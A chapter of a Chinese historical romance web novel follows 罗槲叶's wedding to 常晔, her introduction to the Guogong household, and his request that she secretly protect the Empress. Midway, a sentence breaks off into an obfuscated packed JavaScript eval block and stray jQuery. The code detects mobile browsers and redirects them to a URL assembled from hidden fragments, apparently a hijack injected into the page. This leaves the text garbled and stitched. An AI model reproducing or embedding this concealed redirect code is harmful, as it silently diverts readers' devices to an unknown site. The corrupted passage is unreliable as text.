“小黎姑娘再一眨眼,乘黄就无影无踪消失在眼前。一位罗氏夫人走出来,看见她孤身一人衣着褴褛,问她为何在此。她说起自己家中受难,罗夫人可怜她遭遇,收做养你带她回家,让她跟自己姓罗。”
“原来罗夫人,就是谈指挥使的夫人。此后,罗姑娘就一直在京中住下,只是她不知道父亲给她定了一门京城的亲事,晋国公府也不知道未婚妻改做他家女娘,就住在几步之遥的京城。”
“直到去年冬,常少卿去寻罗姑娘,忠勇伯府也寻罗姑娘,二人才彦州相识,真真是天作之合、命定的良缘。”
“这云来客栈背后的东家究竟是何人,怎的知晓这样多细节。”罗槲叶问道。
“罗姑娘,他说的可是真的?那乘黄你真见过?”依旧是天字一号房里,萧平琅问道。
“他说的都是上古神话,我要真能乘坐乘黄来京,那我就成了能活两千岁的老妖怪了。”
萧平琅扁扁嘴,没再问。
“倒是殿下,柳先生说书的位置如今可紧俏得很,怎么回回都能订到天字一号房?”
“我可是公主,京里的贵族谁来了不得给皇族一分脸面。”
罗槲叶在心中没说出口,那陈国公主还是更得陛下宠爱的公主呢,怎么没见她坐在天字一号房里。
“公主新婚燕尔,怎么还邀我出来听说书?”
萧平琅在上旬离宫,和庄启阳成婚。
“驸马他还要写书呢,倒是你,明日就要和我表兄成婚的人,我递信约你,你竟真出来了!”
“这有什么的,公主愿意叫我做陪,是我的荣幸。”罗槲叶满不在乎道。
这般说着,第二日罗菀送她出阁时,她不禁潸然泪下。
喜娘惊慌提醒她:“罗姑娘,这可不能哭,脸上刚上好的妆容……”
林谦瞪了她一眼,喜娘立马把话吞进肚中,拿起妆奁,随时准备重新上妆。
罗菀紧紧握着她的手:“这段时间照顾好自己,娘很快就接你回来。”
谭元寿坐在她父亲的位置上,也说:“且圆,委屈你了。”
罗槲叶重重点头,给罗菀和谭元寿磕了个响头:“不孝女就此拜别爹娘。”
身穿喜服的常晔在她身边,跟着磕了个头,给两位敬茶。
罗槲叶也没有再补妆,她看了眼镜中人,喜气的妆容被泪水破坏,她干脆接过沾湿的帕子,微微擦去脸上的粉,露出一张素净红润的脸,反倒显现出几分粉面桃花。
喜娘正要重新敷粉,罗槲叶却制止了她:“不用了,就这样吧。”
“诶……罗姑娘!”
而后,常晔便带着罗槲叶离开。
罗菀死死盯着罗槲叶,眼见着她越走越远,抓着座椅扶手的手越来越紧。
谭元寿轻轻拍了拍罗菀,罗菀抬眼看他,只这一瞬,在女儿面前强撑着的罗菀低眸呜咽。
谭嘉韫一直跟着罗槲叶送到门口,直到罗槲叶劝她回去,知道罗槲叶坐上花轿,直到再也看不见罗槲叶……
迎亲队伍抬着罗槲叶沉重的六十四抬嫁妆绕京城走了一圈,罗槲叶听见外面百姓谈论她的身世坎坷、养父母心善、嫁妆丰厚。
她很是难过地躲在轿子里,有谁能知道她原本是令人闻风丧胆的锦衣卫呢。
罗槲叶被迎到晋国公府时,已经近黄昏。
她被簇拥着进屋,晋国公府人口简单,上面只坐有寥寥几人。
最上首坐着的是皇后常盈,她特意请皇帝开恩来观礼。
往下是常晔的父亲常渠,和继母晋国公夫人赵映柳。
肃王、肃王妃、仪康公主及驸马四人坐在下首,再往下站着位陌生少年,十岁上下的模样,衣着华贵喜庆,凭借他的穿着打扮,罗槲叶猜测他就是常晔的异母弟弟、赵映柳之子常乐。
剩下站着的,都是与晋国公还算相熟的同僚,再有些不认识的,罗槲叶猜测或许是谁家亲戚。再往外,就是站着等候主人家开口,要上前去侍奉的丫鬟婆子。
她只是在原地一扫而过,坐下按照规矩完成仪式。
葫芦一剖为二,其中以红线相牵。
苦瓢盛甘酒,罗槲叶和常晔分别喝下一半,再交换给对方喝下。红线死死缠绕葫芦,将其重新合二为一,喜娘才大喊礼成,祝愿新人同心同德同甘共苦。
罗槲叶这一日下来,才第一回看向常晔,那人一直盯着她瞧,这会儿她看回去,又惊慌失措,慌忙躲开。
罗槲叶冷冷地收回目光,这婚礼上哪哪都喜庆,唯独她和她的家人不喜。
婚礼已成,常盈便起身离去,临走前,她抓着罗槲叶和常晔的手,生生将他们二人的手合在一处。
“可算是看见你们成婚,陛下赐婚是天大的荣耀,你们俩从今以后只要把日子过好,姑母就满意了。”
罗槲叶跟着常晔低声应好,众人簇拥着送皇后回宫。再折返后,常晔跟着男客们去前头喝酒,罗槲叶要跟着女眷回喜房去了。
分别前,常晔突然拦住罗槲叶对她道:“我家中没有几个亲眷,大多你也认识,别害怕我招待一下客人便回来。”
一个陌生妇人打趣道:“哟哟哟,常少卿对新夫人可真好。”
天色太暗淡,晋国公府已经亮起灯,罗槲叶微微眯起眼睛,试图分辨是哪位夫人开的口,但看不清楚脸。
萧平琅亲自上前,挽着罗槲叶跟她进屋,介绍道:“这是我嫂嫂肃王妃,你曾见过的……”
罗槲叶向肃王妃见礼,那头一个年轻媳妇突然道:“怎能劳烦公主殿下……”
那媳妇上前道:“见过常家表嫂,我是你婆母的娘家侄女慧娘,不如由我来。”
罗槲叶点头:“劳烦了。”
晋国公夫人的亲弟弟赵迎南是常渠的副将,赵迎南跟着常渠在平阳打仗,妻子儿女就留在京中。
晋国公府人丁凋零,赵映柳喜欢热闹,便留嫂嫂侄子在国公府长居。
眼前这位赵慧娘前些年嫁了京中一位五城兵马司的吏目,五城兵马司实则包括东南西北中五处地方,皆归兵部管辖,她家的这位郎君似乎是东城那边的。公公是兵部从五品的员外郎,正是肃王妃唐书玉父亲的下属。
听闻昔年赵映柳想要亲上加亲,让赵慧娘就嫁给继子常晔,此事还没个说法就被常渠呵斥制止。
至于罗槲叶为何知晓,那当真是职务之便了。
从仪康公主到婆母赵氏,再到赵副将的妻子、赵慧娘的母亲胡氏,赵慧娘一一同她介绍。
赵慧娘不提长者名讳,罗槲叶却知道些,她没怎么亲自盯梢过晋国公府的女眷,但姓名她都是记得的。
比如赵氏的闺名映柳,胡氏的闺名巧姐。
罗槲叶将人名与脸对应上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663424|182821||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,方才那位打趣的妇人原来就是这胡巧姐。
众人坐下寒暄几句,外头肃王府的嬷嬷来报:“王妃,王爷问您何时归家?”
“哟,怎的这样晚了。”唐书玉说着,立刻起身道别。
萧平琅同罗槲叶说了几句话,说自己过些时日再来国公府拜访,就也离开了。
赵映柳索性借口去送客,回她的院子里去了,胡巧姐和赵慧娘也一并离去。
人都散去了,罗槲叶试图摘下头上的头面,陛下赐下来的头面的确贵重,又贵又重的,她顶了一天实在是头晕。以前在外头跑一整日,也没有这样难受的。
不多时,常晔便带着淡淡的酒气赶回来,他站在门口傻傻地问道:“可是饿了?”
折腾了一天,罗槲叶再怎么不放在心上,也是实打实地卯时初起,一整日没阖眼,没进食一粒米、一滴水,面上显露出一丝疲倦来。
“倒也还好,以往过惯了这样的日子,倒是不算什么。”
她虽是笑着说,常晔却感觉到锋芒,胸膛好似被利刃穿透,空荡荡地在漏风。
他避开她的笑容,招呼人去厨房拿饭菜来。
“厨房一直温着饭菜呢,以往是以往,现在可莫要再折腾自己身子了。”
饭菜很快端上来,常晔把下人们都赶出门外去,亲自同她介绍道。
“除了京城的菜式,我还去请了彦州的厨子来,只给我们院子做菜,你尝尝合不合胃口。那日见王娘子送你的彦州零嘴你很喜欢,我让厨子也做了,明儿给你试试。”
罗槲叶拿着筷子的手有些颤抖,熟悉的家乡菜肴落入鼻尖,有些触动,豆大一颗的眼泪一点一滴渗出,或许是这菜肴熏人眼。
“抱歉,抱歉……”
常晔手忙脚乱,甚至有些许束手无策,递了帕子给她。
罗槲叶低着头默默擦干眼泪,声音有些闷闷的:“你不是说有事相求吗,何事。”
常晔深吸一口气:“我想求你去保护皇后娘娘安危。”
“皇后?宫中是出了什么事么?”
常晔摇摇头:“暂未,但长此以往总有一日要生变故。昌国公手中有人有兵械,如今逃窜在外,我担心他会联合尚贵妃和三皇子,对皇后不利。”
常晔解释道,昌国公早先便和尚贵妃联系过密。肃王、肃王妃、仪康公主现在都在宫外,一旦京城有变,他们也能离开。但皇后在宫中,举目无亲,随时可能拿来祭旗。
罗槲叶皱起眉:“陛下宠爱贵妃不假,怎可能放任昌国公和二皇子谋自己的反。”
“昌国公想谋反后簇拥二皇子上位,陛下想借昌国公谋反之际,杀害皇后和肃王。不论是哪一方,都希望皇嗣只有二皇子。
“你以罗总旗的身份日常出入中宫太过惹眼,但你是皇后侄媳,便不引人注目。”
罗槲叶不觉得身上疲惫,此刻只是心上有些疲倦。
原来这场婚事,和允诺、喜欢都无关,只是毁了她一人的前程,去护佑他人安宁。
她不说应允,也不说拒绝,只是愣愣地坐着,不知道在想什么。
“父亲过段时日便会向陛下请封二弟为世子,若肃王大计已成,登位之后,我自会向肃王请辞,再为你求一个百户来做。到那时,你我合离,你去做你的罗百户,我去实现年少夙愿,走遍齐国山水。”
哗啦——